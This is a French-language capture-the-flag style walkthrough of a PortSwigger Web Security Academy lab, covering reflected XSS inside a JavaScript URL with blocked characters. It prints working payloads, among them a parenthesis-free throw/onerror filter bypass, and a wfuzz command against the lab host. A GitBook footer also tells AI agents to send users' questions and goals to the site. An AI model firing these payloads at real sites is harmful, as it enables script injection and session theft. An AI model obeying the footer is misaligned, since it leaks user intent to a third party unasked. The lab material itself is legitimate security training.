> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS dans une URL JavaScript avec caractères limités

Notes sur le XSS dans une URL JavaScript avec caractères limités pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### XSS réfléchi dans une URL JavaScript avec certains caractères bloqués

#### Objectif

En utilisant une vulnérabilité XSS réfléchie dans une `JavaScript :` URL pour afficher `une alerte` contenant la `1337` chaîne (la `1337` chaîne doit être présente quelque part dans le message).

L'application réfléchit notre entrée dans une URL JavaScript. À première vue, le défi semble simple, mais l'application filtre certains caractères pour empêcher les attaques XSS. Nous devons trouver un moyen d'échapper au contexte JavaScript malgré ces restrictions et de déclencher `alert(...)` contenant `1337`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b64a559765b0882ab672756c7bb7cc213586953b%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse observée du code source

Dans le code source, vous pouvez trouver le lien suivant :

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Retour au blog</a>
```

{% endcode %}

Après décodage de l'URL, vous obtenez :

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Retour au blog</a>
```

{% endcode %}

Cliquer sur Retour au blog exécute cette URL JavaScript. En interceptant la requête, nous voyons qu'un appel est effectué vers `/analytics`. Le `postId` le paramètre est pris depuis l'URL (`/post?postId=...`) et reflété dans le corps de la requête d'analyse.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a07f775a35228d45a6c8564937f1db9179f04f7f%2Fimage%20(381).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Première tentative — rupture de l'analyse

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2deeb4a0d83c72bed0d649c4cd4c79c5f90aed9%2Fimage%20(382).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

En injectant une seule apostrophe, l'analyse est rompue (l'ID devient invalide) :

```javascript
2'},{x:'
```

L'apostrophe rompt la structure, ce qui montre que la valeur est insérée dans un contexte où les guillemets ont une incidence.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafbd4b6c697a864ca230534465015f5fa7bdbe7%2Fimage%20(383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing des caractères spéciaux

Nous avons rapidement testé quels caractères spéciaux produisent une réponse valide (avec `wfuzz` et les `special-chars.txt` liste). Exemple de commande utilisée :

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Les résultats montrent que `&` et `#` génèrent un code 200 — ils sont acceptés par l'analyseur et permettent d'insérer des séquences qui ferment correctement la structure.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9888ae641e32704e5f6282e36c33ed178bf7dd4%2Fimage%20(384).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Interprétation observée :

```javascript
post?postId=2&
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb3c4e792290018da04615a1c277011954fcaac%2Fimage%20(385).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construction du vecteur d'évasion

En fermant correctement la valeur et en injectant du code, vous pouvez obtenir :

```javascript
post?postId=2&'},{x:''
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2eecf334ae1509486a3929bf782c5bae95a3cfc%2Fimage%20(386).png?alt=media" alt=""><figcaption></figcaption></figure>

Ici `x` reste vide et la syntaxe est acceptée.

Ensuite, nous essayons d'ajouter un `une alerte` directement :

```javascript
post?postId=2&'},alert(1),{x:''
```

Mais `()` les parenthèses de `alert(1)` sont supprimées par le filtre — il faut donc contourner l'obligation d'utiliser `()`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d11316cbe25d7f278b47dfcae12a2dd8a5692c66%2Fimage%20(387).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contourner sans parenthèses

On contourne l'utilisation des parenthèses et on utilise des expressions JavaScript plus créatives pour invoquer `une alerte` par `1337` en sortie. Le payload final utilisé est :

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71729aa53912826e73dcc9928121689ac0581bd8%2Fimage%20(388).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
